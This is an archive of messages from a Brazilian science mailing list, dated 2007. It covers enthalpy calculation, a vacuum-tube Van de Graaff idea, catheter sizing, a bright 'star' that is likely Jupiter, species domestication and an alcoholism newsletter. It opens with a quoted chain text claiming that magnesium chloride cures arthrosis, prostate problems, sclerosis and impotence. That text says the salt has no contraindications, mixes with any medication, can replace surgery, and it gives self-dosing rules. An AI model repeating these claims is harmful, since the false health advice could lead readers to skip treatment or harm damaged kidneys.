> > >me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de
> >10
> > >anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso;
>três
> > >meses depois minha flexibilidade aumentava. Dez meses
> > >já se passaram e me dobro quase como uma cobra".
> > >Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
> > >indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação
>que
> > >sempre estava abaixo de 40 - eu já pensava em marca passo -
> >normalizou-se.
> > >O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
> > >sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
> > >desapareceram. A próstata, que eu deveria operar assim que tivesse uma
> > >folga nos trabalhos, já não me incomoda muito. Houve ainda outros
> >efeitos,
> > >a ponto de várias pessoas me perguntarem: "O que está acontecendo com
> > >você?" Está mais jovem!
> > >"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
> > >obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
> > >curaram em Santa Catarina depois de anos de sofrimento com males da
> > >coluna, artrose etc.
> > >Importância do cloreto de magnésio: O cloreto de magnésio produz o
> > >equilíbrio mineral, anima os órgãos em suas funções (catalisadoras),
>como
> > >os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
> > >finas membranas nas articulações e as escleroses calcificadas, evitando
> > >enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou
>conserva
> > >a juventude até alta idade. O cloreto de magnésio é, de todos os sais,
>o
> > >menos dispensável, como o professor na aula.
> > >Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
> > >magnésio, produzindo velhice e doenças. Por isso deve ser tomado
>conforme
> > >a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
> > >anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
> >pela
> > >manhã e 1 dose à noite.
> > >Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
> > >(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
> > >pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
> > >mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio
>há
> > >tendência à eliminação das doenças e uma diminuição significativa do
> > >desgaste natural.
> > >Só não se deixe levar pelo comodismo, até que uma doença se instale;
> > >porque viver com dores e mal estar se é possível gozar de uma saúde
> > >radiante?
> > >O cloreto de magnésio não é remédio, mas alimento. E não tem
> > >contra-indicação. É compatível com qualquer medicamento simultâneo. O
> > >adulto precisaria obter dos alimentos o equivalente a três doses; se
>não
> > >conseguir, pode aumentar um pouco a dose diária para não adoecer;
> > >dificilmente se ultrapassa o limite, pois as doses indicadas para
>pessoas
> > >de 40 a 100 anos são mínimas.
> > >O cloreto de magnésio põe em ordem todo o corpo e é indicado para
>homens
> >e
> > >mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
> > >Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
> > >ciático, coluna, arteriosclerose, rins, calcificação, surdez por
> > >calcificação, deve iniciar o tratamento com uma dose pela manhã, uma
>dose
> > >à tarde, uma dose à noite.
> > >Quando curado, deve-se tomar o cloreto de magnésio como preventivo,
>isto
> > >é, conforme a idade.
> > >Artrose: o ácido úrico se deposita nas articulações do corpo, em
> > >particular nos dedos, que até incham. Isso resulta de uma falha no
> > >funcionamento dos rins, justamente por falta do cloreto de magnésio.
> >Tenha
> > >cautela: se um rim talvez já esteja se deteriorando, tome apenas uma
>dose
> > >pela manhã. Se em 20 dias não sentir melhoras e não cessar a
> >anormalidade,
> > >tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
> > >com as doses normais, como preventivo.
> > >Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
> > >conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
> > >magnésio como preparação, e ele começou a melhorar. Depois de uma
>semana
> > >sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
> > >regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses

> > >tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
> > >Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
> > >câimbras, tremores, frigidez, artérias duras, falta de atividade
> >cerebral,
> > >sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à
>noite.
> > >Sentindo-se melhor, passar para a dose preventiva.
> > >Preparo: como preparar e usar a solução de cloreto de magnésio:
> > >dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à
>venda,
> > >em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada
>(melhor
> > >fervida). Depois de bem misturado, colocar em vasilhames de vidro (não
>de
> > >plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
> > >idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
> > >anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
> > >pela manhã e 1 dose à noite.
> > >Onde encontrar: em farmácias de produtos naturais ou mesmo nas
> > >alopáticas.
> > >
> > >
> > >* J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
> > >Catarinense / Sta. Catarina.
> > >
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> >
> >Dr. Alessandro Loiola, M.D.
> >CRMMG 30.278
> >Hospital: +55 (31) 3432 1222
> >Consultório: +55 (31) 3432 7555
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SUBJECT: Dúvida Termoquímica
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 23:59


Olá pessoal,

Alguém sabe me dizer se é possível calcular a entalpia
e a entropia de uma substância em determinada
temperatura a partir da sua entalpia padrão (Hº)?

Por exemplo, a entalpia de formação padrão da água
líquida (tabelado) é -285,8 kJ/mol (em 25ºC). Quanto
seria a entalpia da mesma substância em 85ºC? É
possível determinar isso sem ser empiricamente?

No aguardo,
[]s




____________________________________________________________________________________
Novo Yahoo! Cadê? - Experimente uma nova busca.
http://yahoo.com.br/oqueeuganhocomisso


SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 00:08

Eu não tenho nenhuma física, Ferrari. Mas a que eu estudei está nas
pratelerias das bibliotecas. Sirva-se. ;)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Ze!
>
> Zé >>> Ué, a Física diz que o espaço é vazio, Ferrari?
> Será que estudei a física errada, mudaram a física ou
> mudaram o espaço?
>
> --- Ué, pode ser sim. Vamos investigar. Me diga, na
> sua fisica, o espaço é feito de que?
>
>
>
> sinceramente
> ferrari
>
> EXPERIMENTE XIXI COM TINTA (novo
livro do Ferrari):
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> MEU PORTAL:
> http://marceloferrari.blogspot.com
>
> Para receber meus textos inéditos (de literatura), envie um
email para:
> mferrari-subscribe@yahoogrupos.com.br
>
>
>
>
>
>
>
>
>
>
>
>
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>
>
>
>
>
>
>
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
> http://br.messenger.yahoo.com/
>




SUBJECT: Re: Dúvida Termoquímica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 00:13

--- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> Alguém sabe me dizer se é possível calcular a entalpia
> e a entropia de uma substância em determinada
> temperatura a partir da sua entalpia padrão (Hº)?
>
> Por exemplo, a entalpia de formação padrão da água
> líquida (tabelado) é -285,8 kJ/mol (em 25ºC). Quanto
> seria a entalpia da mesma substância em 85ºC? É
> possível determinar isso sem ser empiricamente?

Sim, é possível se usar a fórmula:
(h2 - h1) = cp*(T2 - T1)

(Mas a pressão precisa ser mantida constante para q ela valha, daí o
"cp" - o coeficiente de calor específico a pressão constante. O h aqui
é a entalpia específica e T a temperatura absoluta.)

[]s,

Roberto Takata



SUBJECT: Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 00:14

Bom, pensando melhor, talvez você mesmo um tanto sobrenatural. :)))

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> Olá JC, Silvio Cordeiro e meus demais pupilos da C-List,
>
> Zé Carlos: Eu francamente não vejo nada de sobrenatural no Bulcão.
> Você vê? Você acha que inteligência é algo sobrenatural???
>
> Silvio: Essa puchada do JC merece ser guardada, depois de gravada no
> bronze, entre as obras primas do turiferarismo nacional: Um busto
> seu, na praça principal aí da santa terrinha, com esses dizeres
> poderia levá-lo a culminâncias dignas da ABL... modestamente, a
> endosso.
>
> Manuel: Bem, minha mãe, D. Eunice, sempre me disse que a minha
> inteligência era um dom de Deus, o que significa dizer que se trata
> de algo sobrenatural.
>
> Já o meu querido Prof. Vianney Mesquita, que escreveu a apresentação
> do meu último livro, "Sombras do Iluminismo", afirmou:
>
> "Católico praticamente como sou, porém, só posso é acreditar
> piamente, ainda mais, que uma criatura tão bem aquinhoada com a
> inteligência e praparo intelectual provém de Deus, é ser criado pela
> Mão Divina. Não pode ser de outro jeito!" (BULCÃO, Manuel; "Sombras
> do Iluminismo"; Ed. 7Letras; Rio de Janeiro, 2006; p. 16).
>
> Modestiamente, não acredito nessa possibilidade, mas... sei lá!
>
> Bênçãos,
> Manuel Bulcão
>




SUBJECT: Re: [ciencialist] Nao vai funcionar! Mas, por que?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 00:45

Talvez funcione, mas o calor gerado torne esse meio ineficiente?

Ou talvez o ar aquecido e o fluxo de íons carregados feche um circuito
entre os terminais da válvula e a cúpula, e aí não funcionaria mesmo?

Abraços,

Mori

On 5/31/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> Não pode ocorrer isso. Devido ao efeito 'balde de Faraday', toda carga elétrica que chega na placa ligada à cúpula, passa para o lado de fora; a face interna da cúpula é sempre neutra. O potencial elétrico da cúpula vai aumentando, mas o potencial elétrico de qqer carga que chega placa interna é sempre maior que o potencial da cúpula (a demonstração disso está no gerador de van de graaff da sala 11) .
> Sei que não vai funcionar ... mas ainda não sei o porque! Quem sabe o Ferrari nos ajuda!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 30 de maio de 2007 19:04
> Assunto: Res: [ciencialist] Nao vai funcionar! Mas, por que?
>
> [E]> ... ...os elétrons vão se acumulando na calota metálica
> e deveríam saltar pelo ar, mas saltam primeiro para o pólo positivo
> que alimenta a resistência.
>
> ----- Mensagem original ----
> De: Luiz Ferraz Netto <leobarretos@uol.com.br>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Quarta-feira, 30 de Maio de 2007 18:31:31
> Assunto: Re: [ciencialist] Nao vai funcionar! Mas, por que?
>
> Não entendi essa resposta. Please, refaça e retorne.
>
> []'
>
> ============ ========= ======
>
> Luiz Ferraz Netto [Léo]
>
> leobarretos@ uol.com.br
>
> http://www.feiradec iencias.com. br/doacoes. asp
>
> ============ ========= ======
>
> -----Mensagem Original---- -
>
> De: "Eurico Ferreira de Souza Jr." <caodejah@yahoo. com.br>
>
> Para: <ciencialist@ yahoogrupos. com.br>
>
> Enviada em: terça-feira, 29 de maio de 2007 19:09
>
> Assunto: Res: [ciencialist] Nao vai funcionar! Mas, por que?
>
> [E]> como uma lâmpada incandescente, feita de metal (onde deveria,
>
> ser vidro) que solta raios?
>
> a energia volta no fio antes de saltar da bola?


SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 03:30

Em 30/05/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Ferrari
>
> Ferrari: " E dai?
> E dai?
> E dai?
> E dai?
> E dai?
> E dai?
> E dai?"
>
> He, he, he..:-) E daí que existem centenas, milhares de malucos pelo mundo a alegar coisas sem pé nem cabeça como você, coisas que são contrárias as que você prega, e nenhum deles, como você, é minimamente relevante ou pode apresentar evidências de suas alegações..:-)

Eu acho que o que incomoda o Ferrari eh justamente a irrelevancia das
ideias dele. So aqui mesmo para ele conseguir "publico".

Abracos,

Marcelo Cortimiglia


SUBJECT: Fw: Medida de di�metro
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 08:57

Help! Quem conhece essa medida Fr ?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Walter Nicol
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 29 de maio de 2007 09:30
Assunto: Medida de diâmetro


Bom dia Sr. Léo!
Solicito a sua ajuda para definir corretamente a unidade de medida conhecida por French (Fr), utilizada nos materiais médico-hospitalares para definir o diâmetro ou calibre de tubos extensores, equipos de sôro, catéteres, etc. Já pesquisei em vários locais e nenhum cita esta medida. Ela é reconhecida e utilizada por todos fabricantes.

Aguardo retôrno.

Abraço.

Walter.


--------------------------------------------------------------------------------


Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.7.7/816 - Release Date: 23/05/2007 15:59


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Ondas termicas...
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 11:16

Quem tem algo sobre isso?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: nuno alves
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 30 de maio de 2007 19:11
Assunto: Ondas termicas...


Olá muito boa noite.
Antes de mais sou o Nuno Alves investigador APO Associação Portuguesa Ovnilogia.- www.apovni.org .
Ultimamento no brasil as pessoas estão falando muito na observação de uma estrela muito brilhante desconhecida!
Inclusive comentei se poder tratar de ondas termicas que criam uma ilusão de optica, aumentando o tamanho dos objectos e lhes dando uma coloração mais variante mediante da claridade da luz natural nocturna.
Seria possivel nos ajudar com alguma informação sobre este tema?
Gostaria de explicar ás pessoas mas não sei como!
Esta não é bem a minha área.
Abraço
Nuno Alves


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Nao vai funcionar! Mas, por que?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 11:37

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> nada de mais notório acontece, o tubo continuará emitindo elétrons
na temperatura do filamento. Aliás, esse é o caso ideal que deveria
acontecer com os catodos que revestem os filamentos das válvulas.

Se os dois, o tubo e o filamento, estiverem emitindo elétrons, não é o
caso de parte dos elétrons que o filamento emite, serem "devolvidos"
pelo tubo? A não ser que o tubo emita elétrons apenas em sua
superfície externa, e o fio incandescente estiver dentro do tubo.

Diz aí, não existe nenhuma válvula que tenha configuração semelhante?
Não daria para testar um gerador de "Van Der Leo" usando uma válvula
de rádio ou TV antiga?

[]s
--
César Grossmann



SUBJECT: Re: [ciencialist] Fw: Ondas termicas...
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 11:44

>
>Ultimamento no brasil as pessoas estão falando
>muito na observação de uma estrela muito brilhante
>desconhecida!
>

Vai ver que é Júpiter, que é bem brilhante nesta época, e que só é
desconhecida para estas pessoas.

[]´,s
Jeff.



SUBJECT: ÁLCOOL E ALCOOLISMO: MAIS POLITICAMENTE INCORRETO, IMPOSSÍVEL
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 31/05/2007 12:19

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 31/05/2007 - No.050

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________

Olá,
Em termos de datas comemorativas, acho que a área da Saúde só perde para o Catolicismo. Tem o dia nacional da abreugrafia (03/01), da papiloscopia (05/02), do podólogo (04/12), do surdo (10/11), do parkinsoniano (04/04), do hanseniano (24-/01)...

Algumas celebrações possuem mais de uma data, como dia do enfermo, que é comemorado em 14/01 e novamente em 14/07. Uma medida útil para quem não pôde comemorar na primeira porque estava doente.

Curiosamente, o dia do cego (13/12) cai no mesmo dia do ótico. Será que alguém já viu essa coincidência?

O alcoolismo é lembrado durante uma semana, a partir de 18/02, e novamente em junho (26), no Dia Nacional de Combate às Drogas. Apesar do álcool etílico não ser considerada uma droga ilícita, isso não o faz necessariamente menos indecente.

Ao invés de preocupar-se com datas comemorativas, colocações politicamente corretas e indignações coletivas repletas de vazio, seria muito bom ver cada um de nós ocupando-se em fazer a grande virada que o século XXI nos apresenta: da ciência para a consciência.

O dia desta virada, sim, seria um dia para ser comemorado. E uma data pra ser lembrada por todos os tempos.

Nos vemos adiante! Um abraço,


Dr. Alessandro Loiola.

___________________________________________________________________


Álcool e Alcoolismo: MAIS POLITICAMENTE INCORRETO, IMPOSSÍVEL
© Dr. Alessandro Loiola


O sujeito na cadeira, a irmã ao lado. O homem tem mais cascas de pelagra nas pernas que árvore de praça no meio do outono. A consulta segue.

- O senhor deveria falar com ele para diminuir a bebida, doutor!

Vinte pacientes todos os dias nos últimos 10 anos me ensinaram que a melhor terapia inicial para estes casos é o que chamo de Choque de Honestidade.

- De modo algum.
- Como?
- De modo algum vou falar para ele diminuir a bebida – respondo, para espanto da mulher e repentino entusiasmo do homem.
– Primeiro, tenho certeza de que vários outros médicos fizeram esta mesma recomendação: que ele deveria parar de beber.
- É, já disseram isso várias vezes, mas ele...
- ...Não parou. Então, insistir significa me tornar mais um em uma longa fila de conselheiros inúteis. Em segundo lugar, eu não deveria falar mal da bebida alcoólica. Tampouco do cigarro. Nenhum colega de faculdade, nenhum amigo médico, ninguém – frisei - encaminha mais pacientes para o meu consultório que a dobradinha Álcool e Cigarro.
- Hein?
- Quanto mais seu irmão beber, mais dinheiro eu ganho. Desejo longa vida a ele e ao vício que nos sustenta. Que ambos durem várias décadas para desenvolver hipertensão, infarto, derrame, desnutrição, gastrite e pancreatite, para então morrer de cirrose ou câncer no esôfago após alguns anos de sofrimento. Se ele parar de beber agora, estará dando um excelente passo em direção à recuperação da saúde, mas será um péssimo investimento do ponto de vista do meu bolso...

Quando bem conduzida, este tipo de conversa “ao inverso” resulta no efeito necessário, que é fazer o indivíduo enxergar com todas as luzes os tons sinistros com que está pintando seu futuro.

O alcoolismo é um dos maiores (e mais subestimados) problemas de saúde pública no Brasil. Este entorpecente, bastante acessível e com altíssimo potencial de vício, deveria ser tratado com mais sobriedade, não com propagandas festivas na TV. O álcool está envolvido em mais de 40% dos acidentes automobilísticos com mortes e em uma proporção similar de crimes sexuais, para dizer o mínimo.

Quanto mais a embriaguez se torna habitual e começa a interferir com seu ritmo de vida, mais perto você está de cruzar a linha que separa o uso recreacional do álcool do alcoolismo propriamente dito.

As manifestações do abuso alcoólico incluem comportamento agressivo, redução da coordenação motora e da clareza nas decisões, desorientação, perda da memória e desidratação. O consumo crônico de álcool pode causar lesões graves em nervos, fígado, pâncreas e coração, além de levar à hipertensão arterial, derrame cerebral, demência e aumento do risco para câncer na boca, laringe, esôfago, estômago, intestino grosso e mama.

Um dos principais sintomas do alcoolismo, e o que o torna este distúrbio tão difícil de ser tratado, é a Negação. O dependente não admite para si ou para os outros a existência de qualquer problema com o álcool, e a família tende a colaborar fazendo coro e vista grossa para o problema. Infelizmente, empurrar para debaixo do tapete não limpa a sujeira, apenas a acumula.

Havendo disposição voluntária por parte do alcoólatra, vitaminas e outros remédios podem ser empregados sob supervisão médica para controlar os sintomas da abstinência. Algumas pessoas podem necessitar internação hospitalar durante o período mais crítico de abandono da bebida. Vencida a etapa de desintoxicação, a participação em grupos de apoio como os Alcoólicos Anônimos é recomendável para manter o vício sob controle no longo prazo.

O diagnóstico de alcoolismo não significa falta de vergonha ou fraqueza de caráter, mas uma doença que deve ser abordada sem pudor e com todas as letras. O tratamento pode ser difícil, mas a cura não é impossível - basta fazer a coisa mais incrível e poderosa de todas: Querer.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Nao vai funcionar! Mas, por que?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/05/2007 12:43

Olá César,

a idéia é essa mesmo, como já expus, é colocar uma válvula de rádio (6L6) ou TV (6DQ6) dentro da cúpula, com a placa (anodo) ligado à cúpula e o catodo ligado à terra. O filamento servirá apenas para efetuar o aquecimento do catodo, como ocorre nas válvulas típicas. O Van der Léo é exatamente isso!
Imagine a cúpula isolada, suspensa por um tubo de PVC de 1/2" (um único buraquinho na cúpula por onde entra esse tubo), onde uma extremidade desse tubo penetra alguns centímetros dentro da cúpula.
Nessa extremidade do PVC instala-se o soquete da válvula e no soquete coloca-se uma 6DQ6 --- que tem sua placa (anodo) ligada no tope da válvula (não no soquete); esse tope é ligado internamente à cúpula.
Por dentro desse tubo de PVC, vindo da base (onde estará uma fonte de tensão CC de 6 V), sobem 3 fios; dois para alimentarem o filamento e um para ser ligado ao catodo. Esse ligado ao catodo será aterrado.
Minha "brilhante idéia" é: catodo aquecido emite elétrons (efeito termelétrico ou efeito Edson) e boa parte desses elétrons dirigem-se para a placa (anodo) sendo imediatamente recolhido pela cúpula (passam para o lado de fora). Elétrons chegam do aterramento para suprir os elétrons perdidos pelo catodo. Assim, a válvula funcionaria como uma 'bomba' empurrando elétrons do catodo para a placa da válvula e dessa para a cúpula. Se isso 'funcionasse', seria uma maravilha e a construção do VDG seria totalmente eletrônica (nada de motor, roletes, correia, escovas).
Uma melhoria poderia ser feita ligando-se também a grade de controle da válvula e sua grade supressora à placa. Como essas grades estão mais perto do catodo aprisionariam mais elétrons ainda --- e todos para a cúpula ... depressinha!

Vou fazer um desenho disso.

Essa é a coisa!

[]'

Léo
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 31 de maio de 2007 11:37
Assunto: [ciencialist] Re: Nao vai funcionar! Mas, por que?


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> nada de mais notório acontece, o tubo continuará emitindo elétrons
na temperatura do filamento. Aliás, esse é o caso ideal que deveria
acontecer com os catodos que revestem os filamentos das válvulas.

Se os dois, o tubo e o filamento, estiverem emitindo elétrons, não é o
caso de parte dos elétrons que o filamento emite, serem "devolvidos"
pelo tubo? A não ser que o tubo emita elétrons apenas em sua
superfície externa, e o fio incandescente estiver dentro do tubo.

Diz aí, não existe nenhuma válvula que tenha configuração semelhante?
Não daria para testar um gerador de "Van Der Leo" usando uma válvula
de rádio ou TV antiga?

[]s
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César Grossmann



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SUBJECT: A domesticação de espécies no século 20
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 13:00

A domesticação de espécies no século 20 - 31.5.07 - Tribuna da Imprensa
Fernando Reinach*

A vaca, o trigo, o cão e a mandioca têm uma característica em comum.
Todas são espécies domesticadas pelo homem. Uma espécie é considerada
domesticada quando o homem passa a conhecer e exercer controle sobre
sua reprodução, alimentação e dispersão pelo planeta. Milho e vacas
são bons exemplos: hoje, só crescem onde o homem permite, sua
reprodução e genética são controladas por nós e todo o alimento que
consomem é fornecido, de alguma maneira, por seres humanos. É quase um
eufemismo chamá-las de espécies domesticadas - são, na verdade,
espécies escravas do homem. São por nós controladas para, em geral,
serem consumidas como alimentos. Atualmente, o ser humano depende de
um pequeno número de espécies para sobreviver. Quase 80% de nossa
alimentação tem origem em apenas quatro espécies de seres vivos:
trigo, milho, soja e arroz. Mesmo a carne que consumimos deriva dessas
espécies, já que os frangos e grande parte do gado são alimentados com
produtos obtidos a partir delas. A extinção de um desses vegetais
espalharia a fome pelo planeta.

Até 10 mil anos atrás, o homem não havia domesticado nenhum ser vivo.
As atuais 743 espécies domesticadas foram conquistadas em duas grandes
levas. A primeira ocorreu entre 10 mil e 2 mil anos atrás. Nesse
período, que corresponde ao desenvolvimento da agricultura e da
agropecuária, foram domesticadas praticamente 90% de todas as espécies
de plantas (250 frutas e cereais), e todas as espécies de animais
terrestres (hoje 44). A maioria dos animais é formada por mamíferos e
aves. Outros grupos estão muito pouco representados. O bicho-da-seda e
o caramujo são dos poucos animais terrestres domesticados que não são
mamíferos. Quando Cristo nasceu, esse ciclo de domesticação tinha
terminado.

Nos últimos 1.900 anos houve a domesticação de um número muito pequeno
de espécies terrestres, mas se iniciou a domesticação de espécies de
água doce e salgada. O segundo grande ciclo ocorreu no século 20 e
envolveu animais como os camarões, o salmão, a truta e as ostras. Ao
longo dos últimos 100 anos, domesticamos 180 animais de água doce, 250
marinhos e 19 plantas aquáticas, principalmente algas. Nesse segundo
ciclo, o homem precisou de dez anos para escravizar uma nova espécie.
Isso porque os conhecimentos de ecologia, biologia geral e genética
facilitaram o entendimento do ciclo de vida e das necessidades desses
seres vivos.

Hoje, a maior parte dos humanos não se envolve na produção de
alimentos, e se alimenta com produtos derivados de seres vivos
cultivados por pequena parte da população do planeta. É preocupante
que seja tão pequena a base de nossa alimentação. Mas o fato é
compreensível, por causa do pequeno número de espécies que conseguimos
domesticar. As 743 são nada se comparadas à bilionária biodiversidade
do planeta.

A boa notícia é que, nos últimos anos, quase dobramos as espécies
domesticadas, o que deve permitir aumento na diversidade de nossas
fontes de alimentos. Servir como fonte de espécies domesticáveis é uma
das funções da biodiversidade. Talvez por causa da culpa que sentimos
por escravizar espécies, a função seja pouco lembrada.

Mais informações em Rapid domestication of marine species, Science,
volume 316, página 382, 2007.
*fernando@reinach.com


SUBJECT: Re: Nao vai funcionar! Mas, por que?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 14:42

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Uma melhoria poderia ser feita ligando-se também a grade de controle
da válvula e sua grade supressora à placa. Como essas grades estão
mais perto do catodo aprisionariam mais elétrons ainda --- e todos
para a cúpula ... depressinha!

Tenho um colega de trabalho que me colocou na pista dos triodos
eletrônicos (válvulas), e eu achei uma que parece com o esquema que eu
tinha imaginado, pela tua descrição:

http://pt.wikipedia.org/wiki/D%C3%ADodo_termi%C3%B4nico

Pelo que eu estava imaginando, o anodo seria ligado direto à cúpula.
Os elétrons sairiam direto do filamento, mas a dúvida é: e quando a
placa está em equilíbrio térmico com o filamento? Ela vai emitir
elétrons também, e estes elétrons poderão, por sua vez, atingir o
filamento. Poderia acontecer da taxa de emissão de elétrons dos dois
ser igual? Imagino que a placa, por ser maior, vai capturar mais
elétrons, e fica garantido o funcionamento do gerador. O gerador só
não funcionaria se o potencial elétrico da placa for negativo. Qual o
potencial elétrico de um condutor ligado à cúpula, no interior da
mesma? Quer me parecer que será sempre "zero".

Outra dúvida é: pode acontecer faiscamento do anodo para a alimentação
do filamento?

Outros links:
http://pt.wikipedia.org/wiki/Tr%C3%ADodo
http://pt.wikipedia.org/wiki/Efeito_%C3%89dison
http://pt.wikipedia.org/wiki/Efeito_termi%C3%B4nico

[]s
--
César A. K. Grossmann



SUBJECT: Re: Nao vai funcionar! Mas, por que?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 15:03

Acho que este trabalho pode te ajudar:

http://www.ifi.unicamp.br/~lunazzi/F530_F590_F690_F809_F895/F809/F809_sem2_2004/003320Ricardo-Nagai-RF.pdf

É um trabalho de um aluno, ele fez uma válvula para estudar o efeito
termiônico.

[]s
--
César A. K. Grossmann



SUBJECT: Re: Fw: Medida de diâmetro
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/05/2007 16:02

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Help! Quem conhece essa medida Fr ?

Pesquisei no Google e cheguei à conclusão que se trata de uma escala
para medição de cateteres, que relaciona a circunferência ao diâmetro,
diretamente:

http://www.texloc.com/closet/cl_french_scale.html
http://en.wikipedia.org/wiki/French_catheter_scale
http://en.wikipedia.org/wiki/French_catheter_scale_chart

